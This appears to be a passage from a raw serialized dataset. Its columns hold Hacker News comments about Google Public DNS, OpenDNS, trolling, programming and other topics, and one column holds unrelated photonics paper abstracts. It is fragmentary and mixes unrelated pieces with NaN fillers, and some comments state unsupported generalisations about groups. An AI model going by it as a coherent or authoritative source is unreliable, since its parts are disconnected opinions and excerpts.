Language presents a compelling way of thinking about \\\"place\\\". It clarifies what so many have longed for in the way of community, and shows clearly what's wrong and what to change to fix it. I highly recommend it for everyone!\", \"Bzzt! Wrong.\\\\nThe IPCC based its reports in a lot of data open to scrutiny, not only East Anglia's. And even the problems with East Anglia data have been hugelly exagerated. The IPCC meetings were also open to a lot of dissent, particularly from Middle East oil producing countries  (guess why)?<p>And GW deniers do have a basic belief: \\\"you can regulate my energy from my cold dead hands\\\".\", \"Attempts to improve the internet as a whole may not directly benefit Google, but as an internet company, they will almost certainly indirectly benefit them. A rising tide lifts all boats.\", \"That's pretty sad for the computer science education at the present time. The discipline somewhat lacks of proper education for the history for information technology and big past contribution and great ideas.\", \"I agree. I also think it's fair for the provider of a public service to derive some benefit from running it. The obvious questions are: Is it ethical? Is it honest? (Google phrases it as \\\"Don't be evil.\\\")<p>In this case, if they are providing an alternative to filtering and hijacking, I see that as a really important step forward. The fact that a lot of people expected those behaviors shows just how bad the situation with DNS really is these days.\", \"Why bother trying to acquire them when there is nothing technically difficult about what opendns is doing and when google has more resources and technical expertise to bring to bear on the problem?  What exactly would you expect opendns to bring to the table other than a trademark and a somewhat controversial reputation?<p>To be honest I am somewhat surprised that opendns has lasted as long as they have, but I expected the attack to come from the akamai/cdn direction rather than directly from google.\", \"I don't understand how \\\"You have to remember to put all your files in a special folder\\\" (Dropbox) is much different than \\\"You have to remember to put all your files on a special drive\\\".\", \"I mentioned book stores and restaurants as examples of industries. I have no specific products for these industries and I was just looking for general thoughts on sales commissions and finding distribution channels.<p>I should also reiterate that I'm not looking to hire  salaried employees. I'm looking for marketing firms that work on a commission basis (and payments will solely be based on commissions)\", \"It's a link to Lambda the Ultimate. Not bad form.\", \"And, like many of their other projects, they seem to be content to throw their hat in the ring just to keep everyone else honest.<p>Broken DNS is a threat.  But they don't need to answer all DNS requests to protect against it. They just need a non-broken service as a credible threat to keep the other providers from sliding in that direction.\", \"Well that's a whole another ball of wax, or the other size of the sword depending on how you look at it.  There are a good number of cases that people are convicted on faulty forensic science many of them not nearly as egregious as the one you describe.  Most of the time it still comes from detectives gut feeling, not forensics, that turns a witness into a suspect.  The forensics don't come into they are trying to build a case against you.  Sometimes the forensics comes from the witness cooperating to give DNA, bite marks, etc as you mentioned.  People who cooperate fully only to be wrongfully accused.<p>The real problem is proving the forensics are wrong.  Combating faulty forensics is a huge task to bear that can take years too.  People who have lost 20 years in jail because the forensics were done by unqualified people or simply incorrect.<p>Sometimes I hear the science explained by the shows and I wonder how in the world is it true.  Who verified these results?  Who defines what is unique and what isn't?  Particularly questionable is techniques that prove uniqueness.\", \"I agree, but yes it is: 1) you can't unscramble variable names, and 2) you have to prettyprint all js, even well-written js, or create a 'compression detection' algorithm.\", \"Not to be paranoid, but where does it say that their privacy policy won't change?<p>Right now, the privacy policy looks great on the surface. They are launching a new product.<p>But you can't deny that Google's entire DNA is to extract monetizable information from huge amount of seemlingly unrelated raw data.<p>That's why you have to take their privacy policy with a grain of salt.\", \"The actual article seems to raise the issue in a new way... yet it looks like \\\"I like hammers, now this is how I want to solve this problem with my favourite hammer\\\".<p>Even if he defends the design decisions, I have a problem with them:<p>> also is unable to support nearly a million nested stack frames, then execution of this query will fail<p>Meanwhile - if you get to the sets with a million elements, I'm pretty sure you do not want to test for an element by traversing a million elements in O(n) style. Additionally instead of running in a single environment, each of the `contains()` functions is a new closure (killing the cache)<p>Then, he wants to support many types of AdjonObject implementations in a single list - and destroy the trace of execution on every call... good luck debugging this project if any of the functions fail semi-randomly.<p>Yet - this is only one specific case where the TCO is needed and expected. The sets objects are not general enough to implement anything else than... sets (that's what IntSet's interface defines). So if TCO is that crucial in this case - let's go: no stack implementation in a no TCO language which doesn't violate the \\\"don't inspect the elements\\\" constraint. `contains(x)` is the main abstract function that initialises local `cf` with local `__contains(x)`, then does `cf = cf(x)` until the result is a boolean and not a closure. Now every object can construct whatever chain of calls it needs, there is no relaying on `cf` coming from an IntSet interface (or .contains() being available) and there is no call stack. `.adjoin()` can modify the local object's checking function in any way it needs. Still not really doable in java because it cannot return a \\\"closure or boolean\\\" type, but python will do just fine.<p>Edit: that article really bothers me for some reason... probably because I expected better from LtU - so I implemented <a href=\\\"http://bitbucket.org/viraptor/ootr/src/tip/intset.py\\\" rel=\\\"nofollow\\\">http://bitbucket.org/viraptor/ootr/src/tip/intset.py</a>\", NaN, \"I love how everyone comes down on Google for collecting data about net traffic, as though no other company on the internet ever thought of collecting traffic metrics.  What is your current DNS provider's policy on DNS data collection?  In the case of OpenDNS, sure, they have a privacy policy, but they also proxy Google's results and serve up ads.  How's that so much better?<p>I'm perfectly happy to have my DNS data be collected (which I assume my ISP is already collecting) in exchange for ad-free, fast name resolution.  Plus, now I don't ever need to look up a DNS server again, Google's is 8.8.8.8.  Sweet.<p>EDIT: looks like Google's not collecting so much information anyway. <a href=\\\"http://code.google.com/speed/public-dns/privacy.html\\\" rel=\\\"nofollow\\\">http://code.google.com/speed/public-dns/privacy.html</a>\", \"My results run from a SliceHost slice: <a href=\\\"https://gist.github.com/00a8976d0b76e796996a\\\" rel=\\\"nofollow\\\">https://gist.github.com/00a8976d0b76e796996a</a><p><pre><code>    Mean response (in milliseconds):\\\\n    --------------------------------\\\\n     SBC/AT&T Global- ########### 45.11\\\\n     OpenDNS-2        ############# 56.75\\\\n     OpenDNS          ################ 66.40\\\\n     8.8.4.4          ################# 70.29\\\\n     4.2.2.3          ###################### 96.20\\\\n     UltraDNS-2       ######################## 104.35\\\\n     UltraDNS         ######################## 104.68\\\\n     Level 3-2        ######################### 106.95\\\\n     SYS-67.207.128.5 ########################### 114.93\\\\n     SYS-67.207.128.4 ###################################################### 231.97</code></pre>\", \"I think what makes me nervous about it is that I can't even control my <i>own</i> sites any more if I use Google's DNS, and get the \\\"mysterious Google lockout with no recourse\\\".\", \"Agreed. The first point is the only legitimate technical point.<p>Everything else is just vague fear mongering about how google <i>might</i> misuse their dominant position and frankly DNS doesn't scare me any more than Google owning my email, documents and search history.<p>Either way, OpenDNS is awesome and I'm excited to see how they'll proceed fighting Google's entry (on technical merit).\", NaN, \"Just out of curiosity, which third-party system did you use originally?\", \"Judging from his current app up right now on Touch Arcade, it looks like it goes straight to iTunes (probably hits his server first to record where it came from).\", \"That's why I'm so impressed with NPR. Its depth of analysis is amazing compared to most other media I'm aware of in the US. And still. I still don't feel like paying for it.<p>I use NPR as a counter-argument to saying that good content will find a way to make lots of money. Show me how because I don't see it.\", \"Having a vector or map collection where you can call methods etc. on elements without having to do a typecast, and know that the method call will work (i.e. is statically typed), is useful. It also stops you (or more likely, someone else on the team) from adding the wrong kind of thing to the collection.<p>If you don't understand the benefits of static typing, it's likely that you won't understand why generics can be preferable to polymorphism in containers.\", \"As mentioned in the other post linked below, I'm the product manager for the FreshBooks API. We are extremely aware there are many problems with the recurring billing market right now, and we are currently committed to doing a better job serving it. We are committed painless billing for web apps too.<p>If you can please forgive the shilling, I'm very interested in hearing what sucks about the recurring billing APIs on the market and specifically what sucks about ours (<a href=\\\"http://developers.freshbooks.com\\\" rel=\\\"nofollow\\\">http://developers.freshbooks.com</a>). I'm sure our competitors in the market would also be interested so we can all do a better job.<p>This isn't so much about us, but letting you know that at least one vendor is here listening, and maybe others.<p>Thanks for anything you can throw at me, good or bad.<p>(And you can't hurt my feelings except by being quiet. I <i>need</i> to know.)<p><i>NOTE</i> I rewrote this comment to be less self-conscious.\", \"The probability of the event happening * the loss = the premium of the surgery. That is it. If you would rather pay 1000 dollars for a surgery than 3000 then that is your business. I certainly wouldn't sign away my right to sue when I'm under back surgery.\", \"Basically a list of this guys personal preferences.. lame.<p>Here is a foolproof method of filtering out bad programmer jobs:<p>If they ever use the words 'rockstar', 'ninja', or anything similar, run very far away. If throughout the interview process they focus purely on pumping up your ego run very far away. If all they can talk about is how they have Rockband and Foosball, you got it, run very far away.<p>Great programming jobs are those in which you are solving interesting problems surrounded by interesting people. If they have that they don't need 'ninjas' and 'rockstars'. They don't need to talk about foosball (I'm not saying Foosball is bad, it just shouldn't be the focus of your work). Instead, they'll talk about interesting problems.\", \"That isn't how DNS works. It is true that 90% of users go directly to google, but once there they click on Search results, news results, etc...  The browser takes the link and the OS does a DNS lookup to get the ip address of the server hosting that url. Then the browser connects to that server, google is no longer in the picture.\", NaN, \"No, you're spot on.<p><pre><code>  2.2.2.4.in-addr.arpa domain name pointer vnsc-bak.sys.gtei.net.\\\\n</code></pre>\\\\nEven though the IP space hasn't been SWIP'd to GTE/Verizon, the server(s) behind that IP are evidently theirs.\", \"To me, the point of being rich is to be able to give the money away as you see fit.  It's a lot easier to complain that such-and-such symphony orchestra is going bankrupt than it is to figure out how to become successful and then help that same orchestra.  If you have a look at the patron list of the SF Ballet, you'll likely recognize a name or three.\", \"This is all great stuff.<p>Be careful that you don't apply lessons too broadly. If you're selling high-dollar, recurring sales items into big business it might be enough to have 100 purchasing managers love you. You probably don't need a media blitz.<p>As an aside, not particularly related to this story, one of the drawbacks of learning from success is that every deck ends with how great things are.  I wonder 1) if sometimes luck gets disguised and genius and 2) if it wouldn't be more useful to study failures than successes.<p>The commercial airline industry has a great safety record. They do this by meticulously taking apart every accident that happens. Too bad we don't do that in other fields.\", \"Arithmetically challenged - \\\"The biggest difference is that going every 30 days means you get an extra payment every 10 years\\u2026 Yes, 10 years, shrug.\\\" It's 6 years.  If you're going to emphasize something in your writing, for example by repeating it, you really ought to get it right.\", \"I'm not entirely sure, but I used to go to high school with a kid (a different Dave) that was absolutely brilliant and did some work with them.  When I was looking for a dns provider, he showed me their site and I've referred them to everyone I know since.  They really run an excellent service at top-notch quality.  Probably time for me to donate again..\", \"Fascinating. It's interesting to see that their times aren't always the fastest, but they seem able to keep responses speedy on the sites the other two struggle with (bbc and tb4). Maybe that's the prefetching at work?\", \"Agreed and let\\u2019s not forget it\\u2019s a massive improvement compared to the old site.\", \"As a long time Microsoft detractor, I must admit that Bing has a few things that I like:<p>1. instant view popups<p>2. free search and spelling APIs for developers. I wrote a web blog showing how to use these services in just a few lines of Ruby code. and, free is good<p>3. daily pictures :-)\", \"It may not be correlated, but that doesn't mean that Google isn't getting a ton of commercial benefit from this data. It's like having your own Alexa/Quantcast, but in realtime, and with much better granularity.\", \"I'm pretty sure you can jump over the mushroom if you either do so in the areas without the overhead blocks or if you time it right.  They merely made it very difficult for a new player to avoid the mushroom.\", \"Transactions can involve more than just a single flow of cash in exchange for stuff.  Economists can and do look at satisfaction as part of market efficiency which explains why people pay for status symbols.  Someone buying a diamond for above resale price is not necessarily simply wasting money for zero gain.<p>PS: Consider rather than a ticket scalper you had a group of bandits charging a toll to cross a bridge.  They are not adding value to the experience of crossing a bridge and they are not helping the people who made the bride.  So while arguably they increase GDP it's not a net gain for society.\", \"4chan users are not trolls.  They're griefers and sociopaths.  Like you said, trolls are generally part of a community, or make an attempt to get a rise out of people through d\\u00e9tournement, not through outright antagonism.<p>Over at kuro5hin.org we experienced a 'trollocaust' as it were, wherein the trolls successfully drove all the emotional beautiful souls off to another site (hulver.com).  If the critical mass of trolls grows too large, community can't really be sustained.\", \"but how does yodlee then ?\", \"Anti Explorer is a small piece of code you can place in your site's HTML which stops Microsoft Internet Explorer (MSIE / Explorer) from rendering your page. Along-side this, a notification alerts the user he / she is using MSIE and prompts him / her to download Firefox instead.<p>We've all been there. We design our site with Internet Explorer in mind, only to find we have to resort to numerous hacks and complicated code to get our site looking like it should in MSIE. Numerous Web Citizens have written hacks and workarounds for MSIE, only to be dismayed at all the extra effort they had to put in to get their designs cross-compatible with MSIE.<p><a href=\\\"http://anti.eire-media.com/\\\" rel=\\\"nofollow\\\">http://anti.eire-media.com/</a>\", \"Nice work :)\", \">Revenue = User-Time on Internet<p>Yes, I was told that explicitly at a presentation by Google recently. Anything that makes the internet better or makes people use it more makes Google more money.\", \"From your link : \\\"we randomly sample a small subset for permanent storage.\\\" \\\\nEven if anonymous that data is really valuable as it allows to identify traffic patterns. I don't see anything \\\"evil\\\" in collecting anonymized data.\", \"A couple of questions:<p>Hasn't google tried to acquire OpenDns? It's a no brainer!<p>Has been any contact between the two companies?<p>The scenario of google (or any company) controling internet traffic is not a nice one :(\", \"The suckless mailinglist is a mailing list that seems to accept, if not encourage, the second type of trolling.  It would be interesting to build some statistics from it's archives to see when and who abandoned the list.  I think you are right, Zed, in that getting rid of the first type get's rid of the second type and empowers the third type.  I also agree that the second type is very good for the community.  Just look at the development that goes on in the suckless community, some really great stuff.\", \"<i>...you have to ensure that a market is not completely controlled by a few large corporations.</i><p>Maybe. But if so, that's an argument for antitrust enforcement, not net-neutrality type-and-price-of-service regulations.<p>As the example of regulatory capture in many industries should make clear, regulations often turn out giving an advantage to the few large operators who can play at Washington rulemaking games -- with large staffs of lobbyists and big donations at election time -- no matter what the regulators' initial rationale.\", \"<i>To think that Google\\u2019s DNS service is for the benefit of the Internet would be naive.</i><p>I'm not so sure, it is starting to seem like Google has worked out essentially that Revenue = User-Time on Internet. The Chrome project is one example, a better faster internet is in Google's best interest.\", \"A little slow, but beautiful. Worth it to see the bubbles in the background on mrspeaker's site.\", \"The Economist has an established editorial slant and actively practices advocacy journalism.<p>You're looking for The Christian Science Monitor. Their whole reason for being is avoiding sensationalist reporting (biased reporting, I'd argue, is impossible to avoid completely). They go so far as to not use any of the wire services, so that biases don't creep in there, and use their own on-the-ground reporters instead.<p>What's tragic is that news sources like that are being plowed under along with the Fox Newses of the world with everyone's decision that \\\"eh, blogs are just as good.\\\"<p>(edit: Well that's embarrassing. Apparently HTML markup doesn't work here.)\", \"Flightcaster does some fantastic, innovative stuff in the statistical, distributed computing, and Clojure worlds.\", NaN, NaN, \"Indeed.  It's a link to a blog post about a blog post.  Bad form.\", \"Make sure to write down the phone number while your DNS is working...\", \"Is there accompanying audio/video of the presentation? I always find just seeing the slides leaves a lot of gaps in my understanding of the presentation.\", \"Ah yes, <i>The Financial Post</i>. The newspaper I turn to for all of my climatological analysis. It's like <i>International Journal of Climatology</i>, but with better op-eds and stock listings.\", \"The WSGI support, and twisted.web in general have been seeing some great improvements. Coupled with this <i>amazing</i> running series on twisted.web: <a href=\\\"http://jcalderone.livejournal.com/tag/sixty+seconds\\\" rel=\\\"nofollow\\\">http://jcalderone.livejournal.com/tag/sixty+seconds</a>, I'd say things are looking very positive for Twisted in the web world.<p>I think the release of Tornado has got people thinking about \\\"Comet frameworks\\\" (for lack of a better term), and I have the personal opinion that Django+Orbited+Twisted could make a better \\\"Comet framework\\\" than Tornado.<p>Here's a project that is exploring combining Django+Orbited+Twisted: <a href=\\\"http://github.com/clemesha/hotdot\\\" rel=\\\"nofollow\\\">http://github.com/clemesha/hotdot</a> - it contains a full working example, and I believe taken further, it could really turn into (at least) a great starting point for making \\\"real world\\\" Comet apps with Python.\", NaN, NaN, \"Wow that guy was awesome, I can't believe I'd never heard of him.\", \"How are the toolbar and chrome NOT in the user's hands? Your belief that Google monetizes all their services directly is naiive - they have repeatedly made very open attempts to improve the internet with no direct benefit to them.\", NaN, \"I always hated the redirection my ISP's DNS and OpenDNS forces. Every time I make a typo, i have to completely retype the URL because they redirect me...\", \"From London:<p><pre><code>                    Level 3  Google  OpenDNS\\\\n    lifehacker.com    35       29      26\\\\n    facebook.com      31       45      18\\\\n    manu-j.com        30       41      38\\\\n    reddit.com        42      350      17\\\\n    tb4.fr            36       22      25\\\\n    bbc.co.uk         45       39      26\\\\n</code></pre>\\\\nOpenDNS has servers here in London, so they put up a fairly good showing. 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However, its practical applications in quantum physics and information science are limited due to rigid experimental requirements. Here we demonstrate a new mechanism of optically induced transparency in a micro-cavity by introducing a four-wave mixing gain to nonlinearly couple two separated resonances of the micro-cavity in an ambient environment. A signature Fano-like resonance was observed owing to the nonlinear interference of the two coupled resonances. Moreover, we show that the unidirectional gain of the four-wave mixing can lead to the remarkable effect of non-reciprocal transmission at the transparency windows. Optically induced transparency may offer a unique platform for a compact, integrated solution to all-optical and quantum information.</p>\", \"<p>Distributed fiber sensing possesses the unique ability to measure the distributed profile of an environmental quantity along many tens of kilometers with spatial resolutions in the meter or even centimeter scale. This feature enables distributed sensors to provide a large number of resolved points using a single optical fiber. However, in current systems, this number has remained constrained to a few hundreds of thousands due to the finite signal-to-noise ratio (SNR) of the measurements, which imposes significant challenges in the development of more performing sensors. Here, we propose and experimentally demonstrate an ultimately optimized distributed fiber sensor capable of resolving 2100000 independent points, which corresponds to a one-order-of-magnitude improvement compared to the state-of-the-art. Using a Brillouin distributed fiber sensor based on phase-modulation correlation-domain analysis combined with temporal gating of the pump and time-domain acquisition, a spatial resolution of 8.3&#8201;mm is demonstrated over a distance of 17.5&#8201;km. The sensor design addresses the most relevant factors impacting the SNR and the performance of medium-to-long range sensors as well as of sub-meter spatial resolution schemes. This step record in the number of resolved points could be reached due to two theoretical models proposed and experimentally validated in this study: one model describes the spatial resolution of the system and its relation with the sampling interval, and the other describes the amplitude response of the sensor, providing an accurate estimation of the SNR of the measurements.</p>\", \"<p>Metamaterials based on effective media can be used to produce a number of unusual physical properties (for example, negative refraction and invisibility cloaking) because they can be tailored with effective medium parameters that do not occur in nature. Recently, the use of coding metamaterials has been suggested for the control of electromagnetic waves through the design of coding sequences using digital elements &#8216;0&#8217; and &#8216;1,' which possess opposite phase responses. Here we propose the concept of an anisotropic coding metamaterial in which the coding behaviors in different directions are dependent on the polarization status of the electromagnetic waves. We experimentally demonstrate an ultrathin and flexible polarization-controlled anisotropic coding metasurface that functions in the terahertz regime using specially designed coding elements. By encoding the elements with elaborately designed coding sequences (both 1-bit and 2-bit sequences), the x- and y-polarized waves can be anomalously reflected or independently diffused in three dimensions. The simulated far-field scattering patterns and near-field distributions are presented to illustrate the dual-functional performance of the encoded metasurface, and the results are consistent with the measured results. We further demonstrate the ability of the anisotropic coding metasurfaces to generate a beam splitter and realize simultaneous anomalous reflections and polarization conversions, thus providing powerful control of differently polarized electromagnetic waves. The proposed method enables versatile beam behaviors under orthogonal polarizations using a single metasurface and has the potential for use in the development of interesting terahertz devices.</p>\", \"<p>The development of responsive metamaterials has enabled the realization of compact tunable photonic devices capable of manipulating the amplitude, polarization, wave vector and frequency of light. Integration of semiconductors into the active regions of metallic resonators is a proven approach for creating nonlinear metamaterials through optoelectronic control of the semiconductor carrier density. Metal-free subwavelength resonant semiconductor structures offer an alternative approach to create dynamic metamaterials. We present InAs plasmonic disk arrays as a viable resonant metamaterial at terahertz frequencies. Importantly, InAs plasmonic disks exhibit a strong nonlinear response arising from electric field-induced intervalley scattering, resulting in a reduced carrier mobility thereby damping the plasmonic response. We demonstrate nonlinear perfect absorbers configured as either optical limiters or saturable absorbers, including flexible nonlinear absorbers achieved by transferring the disks to polyimide films. Nonlinear plasmonic metamaterials show potential for use in ultrafast terahertz (THz) optics and for passive protection of sensitive electromagnetic devices.</p>\", \"<p>By means of an ultrafast optical technique, we track focused gigahertz coherent phonon pulses in objects down to sub-micron in size. Infrared light pulses illuminating the surface of a single metal-coated silica fibre generate longitudinal-phonon wave packets. Reflection of visible probe light pulses from the fibre surface allows the vibrational modes of the fibre to be detected, and Brillouin optical scattering of partially transmitted light pulses allows the acoustic wavefronts inside the transparent fibre to be continuously monitored. We thereby probe acoustic focusing in the time domain resulting from generation at the curved fibre surface. An analytical model, supported by three-dimensional simulations, suggests that we have followed the focusing of the acoustic beam down to a ~150-nm diameter waist inside the fibre. This work significantly narrows the lateral resolution for focusing of picosecond acoustic pulses, normally limited by the diffraction limit of focused optical pulses to ~1&#8201;&#956;m, and thereby opens up a new range of possibilities including nanoscale acoustic microscopy and nanoscale computed tomography.</p>\", \"<p>Spatio-temporal imaging of light propagation is very important in photonics because it provides the most direct tool available to study the interaction between light and its host environment. Sub-ps time resolution is needed to investigate the fine and complex structural features that characterize disordered and heterogeneous structures, which are responsible for a rich array of transport physics that have not yet been fully explored. A newly developed wide-field imaging system enables us to present a spatio-temporal study on light transport in various disordered media, revealing properties that could not be properly assessed using standard techniques. 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\"http://www.collective-evolution.com/2014/02/12/dna-analysis-of-paracas-elongated-skulls-released-unknown-to-any-human-primate-or-animal/\", NaN, NaN], \"col9\": [\"This feels a bit like that time one Dan Weinreb&#x27;s memorial turned into a networking event, but... Among the MassChallenge startups, the ones targeting cancer specifically are:<p><a href=\\\"http://masschallenge.org/startups/2014/profile/3derm\\\" rel=\\\"nofollow\\\">http://masschallenge.org/startups/2014/profile/3derm</a><p>3Derm takes 3D pictures of skin with an inexpensive handheld imager to help detect skin cancer at the earlier more treatable stages.<p><a href=\\\"http://masschallenge.org/startups/2014/profile/oncolinx\\\" rel=\\\"nofollow\\\">http://masschallenge.org/startups/2014/profile/oncolinx</a><p>Oncolinx cancer therapies can target and destroy cancer cells, while sparing healthy tissues\\u2014effectively treating the cancer, virtually without any adverse side affects.<p>There are others that are more general than just cancer.\", \"Reminds me of <a href=\\\"http://www.google.com/patents/US20070258329\\\" rel=\\\"nofollow\\\">http://www.google.com/patents/US20070258329</a> : &quot;Method and apparatus for the exploitation of piezoelectric and other effects in carbon-based life forms.&quot;<p>Despite the huge prolegomena which would in fact work as a crash course in fringe geometry and pseudoscience, it turns out to be a patent for a golf club (I <i>think</i>.)<p>The point being, how does stuff like this even get past USPTO? Don&#x27;t they employ people to weed out the nonsense?\", \"I was skeptical about this at first but it seems true: <a href=\\\"http://www.zyra.org.uk/sp-mic.htm\\\" rel=\\\"nofollow\\\">http://www.zyra.org.uk/sp-mic.htm</a><p>Even the accelerometer in a phone can be used to record keystrokes from a keyboard. <a href=\\\"http://www.i-programmer.info/news/105-artificial-intelligence/6430-your-smartphone-spies-on-what-you-type-.html\\\" rel=\\\"nofollow\\\">http://www.i-programmer.info/news/105-artificial-intelligenc...</a><p>Even WiFi can potentially be hacked to map/pinpoint people in a room/building.<p>Must be a fun time to be a spy with everyone putting numerous bugs, sensors, and cameras in their work and home willingly.\", \"That would be really cool. But that requires an understanding of what u have to offer and what they REALLY need.... I mean humans have issues with this problem, its gonna be tougher to write a program that does it\", \"I have to admit our architecture is unconventional. It&#x27;s custom code except for a few ZF1 parts like zend_db, zend_json_service and zend_validate. Even our session and auth code is all custom. The server we use is zend server (with zend opcache). We only have web services on the server, it&#x27;s a javascript ui.<p>The web service wrapper on the server has been cut down to the essence and does not use autoloading for the basic bootstrap. I&#x27;ve found that the PSR approach of a gazillion files each containing a small class and liberal use of autoloading is inherently slow, it is death by a thousand paper cuts due to the high degree of file access, memory consumption and running of all that constructor code. The code i write typically groups a web service in a handful of files, each containing a namespace with the bulk of the implementation in procedural logic (though i do use closures quite a bit). I typically use classes / objects only as types that encapsulate data, with the logic on the object limited to that logic which is necessary for working with that type (e.g. I don&#x27;t put a save method on an object but instead write a saveObject function which accepts the object as a parameter and passes back an array of errors).<p>I suppose a lot of people nowadays find that sort of coding style blasphemous, but it is easy to write, test and maintain, and fast to execute. I&#x27;m not against the heavy OO approach common in most web dev nowadays, there are times when i do use it and need it. But CRUD web services are very linear: validate the input, create a transaction, run a bunch of db operations, commit or roll back, and return status / errors. If something is linear, i prefer to see it implemented in a cohesive linear procedural style, instead of getting chopped up into lots of objects that in practice end up obfuscating what&#x27;s happening.\", \"Out of interest, which University did you attend to? I am an alumni from ENSAE in France, from your post I was wondering if you did the same.\", NaN, NaN, \"That&#x27;s a great landing page, lots of information and not stuffed with marketing fluff.<p>And in case you are wondering if they are offering these services for your own domain? - Not yet. [0]<p>[0] <a href=\\\"https://mailbox.org/en/can-i-use-e-mail-addresses-from-my-own-domain-with-mailbox-org/\\\" rel=\\\"nofollow\\\">https://mailbox.org/en/can-i-use-e-mail-addresses-from-my-ow...</a>\", \"Those people who want this &quot;gender neutral&quot; speak really can&#x27;t be pleased. Consider for example this case (in German, sorry)\\\\n> <a href=\\\"http://www.danisch.de/blog/2013/03/14/zwangsverblodung-im-soziologie-studium/\\\" rel=\\\"nofollow\\\">http://www.danisch.de/blog/2013/03/14/zwangsverblodung-im-so...</a>\\\\nwhere some female professor for gender studies complains that the neutral article &quot;das&quot; is used for &quot;M\\u00e4dchen&quot; (&quot;das M\\u00e4chen&quot; - &quot;the girl&quot;), because this way girls are degraded to objects.\\\\nFor science: the grammatical reason &quot;M\\u00e4chen&quot; is neuter is because it is the minimization of the outdated noun &quot;Maid&quot;.\", \"This is a delayed reply, but I really disagree.<p>Flash has (had?) already won. Everyone already has it installed: almost all consumer computers have it installed by default and Chrome runs it without even having the adobe software installed.<p>I think it is an absurd claim  mistake that a random website running silverlight would have remotely the same view rate as one using flash. That delta cost more than outweighs the tiny benefit of DRM, and when everything is HTML5 video and DRM comes with actually zero cost to potential users it will be significantly more widespread.\", \"You made an account just to post this?\", \"In Hebrew, the official name is Strudel (Wikipedia: &quot;A type of layered pastry with a filling that is usually sweet&quot;)\", \"That&#x27;s very funny. You should do a Mario theme song also :)\", \"A negative side-effect of market economy.\", \"&quot;Patent pending&quot;? jeeze.. you can&#x27;t be serious. There are so many existing and well-known extensions doing exactly that and even I made one myself ages ago.. nothing newsworthy (especially HN) in this promo post.\", NaN, \"You mean manufacturers want to avoid legal action when they break their own specs? They already did, the paper contains an example.<p>The point of an architecture specification is not to dictate a specific hardware implementation, but to establish a contract between hardware and software. When both parts comply, then the new implementation of a chip will run the old software without problems. A _formal_ specification is just a better contract. Of course it limits future implementation options, but if you want to stay backward compatible, you are limited anyway.\", \"Thanks for the ringing the gong of facts. Now tell us what have you done that has saved a single anonymous kid&#x27;s life? Go on.\", \"Rape, I think.\", \"Better would be software that can read a job posting and adjust your resume to align with the posting.\", \"Look very nice\", \"DANE is a good idea, but almost useless in practice since it lacks browser support (addons doesn&#x27;t really count since nearly noone would install them)<p>Any ideas how we could ask Mozilla, Google, Apple and Microsoft to include DANE (and/or, maybe, TACK and/or Convergence) support into their browsers?\", NaN, NaN, NaN, \"Could you give examples of recent terrible communications from the developers?  I use Grails - based on Groovy - and I feel like I&#x27;ve been <i>in the loop</i>.\", \"Doesn&#x27;t work for me.. Can&#x27;t retrieve data from Linkedin:\\\\nUncaught TypeError: Cannot read property &#x27;values&#x27; of undefined at hackerb.io/users/new:194\", \"Have you helped improve the docs?  It is an open source project.\", \"This reminded me of the ~ATH (&quot;till death&quot;) programming language from the webcomic Homestuck: <a href=\\\"http://www.mspaintadventures.com/?s=6&p=003925\\\" rel=\\\"nofollow\\\">http://www.mspaintadventures.com/?s=6&p=003925</a>\", \"That&#x27;s not a bad idea.  As long as you don&#x27;t have the entire room filled with laptop users ;)\", \"It should be noted that this is the Popcorn Time fork that is actually <i>not</i> open source (unlike the original, and the other main fork). The VPN provider they are using here also seems to keep logs:<p><a href=\\\"https://en.kebrum.com/faq\\\" rel=\\\"nofollow\\\">https://en.kebrum.com/faq</a> (Technical Questions)<p>Oh, and according to these two posts, the app actually runs in an iframe with the code hosted externally with a non-secure connection:<p><a href=\\\"http://www.reddit.com/r/PopCornTime/comments/241y7i/remember_to_tell_anybody_that_time4popcorn_is/\\\" rel=\\\"nofollow\\\">http://www.reddit.com/r/PopCornTime/comments/241y7i/remember...</a><p><a href=\\\"http://www.reddit.com/r/time4popcorn/comments/24a7qd/why_time4popcorn_is_incredibly_dangerous/\\\" rel=\\\"nofollow\\\">http://www.reddit.com/r/time4popcorn/comments/24a7qd/why_tim...</a>\", \"More details can also be found on the ISEE-3 Reboot Project blog at <a href=\\\"http://spacecollege.org/isee3/\\\" rel=\\\"nofollow\\\">http://spacecollege.org/isee3/</a>\", \"I meant an extreme form of gender-neutral planned language.<p>Another reason might be that &quot;Die&quot; clashes with the English verb &quot;to die&quot;.\", NaN, \"ELI5: What is AppleScript and how does it relate to Swift and Objective C?\", NaN, \"Is it really so different to URI encoded parameters?\", NaN, \"Tested just now between an iPad3 and an iPhone5. Breathtakingly unusable and flaky as hell.<p>Requires you to pick a bunch of chat categories at startup, which is ridiculous if you only want to use it in nearby mode.<p>Could not see the other device unless both were logged into the same WiFi network, which is going to be totally useless in the middle of a field. Even with both devices on the same WiFi, only about half the messages showed up.<p>Made no difference if BT/WiFi were on. Completely unreliable. Deleted the app. Nice try. Better luck next time.\", \"I&#x27;ve seen Rust contributors comment here, but similarly don&#x27;t think it&#x27;s a particularly long list.\", \"One of the reasons why manufacturers don&#x27;t like to give fully formal specifications (they have them) to programmers is to avoid legal action if they change the CPU implementation.\", \"Russia Today did a pretty good job impressing kids.\", NaN, \"I&#x27;m not afraid of losing anything, except for my children. That&#x27;s one of the few things that keeps me up at night.<p>What a waste. Such a beautiful girl. Cancer really sucks.\", \"As someone who has also been through this I agree.<p>Do write to them even, if you struggle to find words.<p>Do tell them you are thinking of them. It does help.<p>Don&#x27;t avoid mentioning Rebecca for fear of reminding them: there is 0% chance that they will have forgotten, even ten years from now. They need to know she hasn&#x27;t been forgotten by the world, too. The occasional &quot;Rebecca would have loved this&quot; is perfect.<p>Don&#x27;t whisper. Dead children aren&#x27;t secrets.<p>Yes, you can laugh: there is still joy and all children are silly.<p>Never, ever grab them by the elbow and talk to them with you head tilted sideways (that drove me mad!).<p>Warning: I am constantly looking for any opportunity to mention my son and I am duty bound to include him an any headcount or history or whenever a new family face is born. If The Meyers do this, please try not to look shocked each time.\", \"Israel seems to do astroturfing in english pretty well.\", \"Apple. They have a design patent on a rectangle with rounded corners.<p><a href=\\\"http://mobile.theverge.com/2012/11/7/3614506/apple-patents-rectangle-with-rounded-corners\\\" rel=\\\"nofollow\\\">http://mobile.theverge.com/2012/11/7/3614506/apple-patents-r...</a>\", NaN, \"(S)He&#x27;s really more of a wave function\", \"Not sure why you got downvoted, it&#x27;s a very valid comment.<p>The complexity of &#x27;erasing cancer&#x27; is very much mis-understood, even though it is of course a noble goal.<p>The biggest issue I think is that cancer is systemic, given a long enough run the way our bodies do their housekeeping cancer is pretty 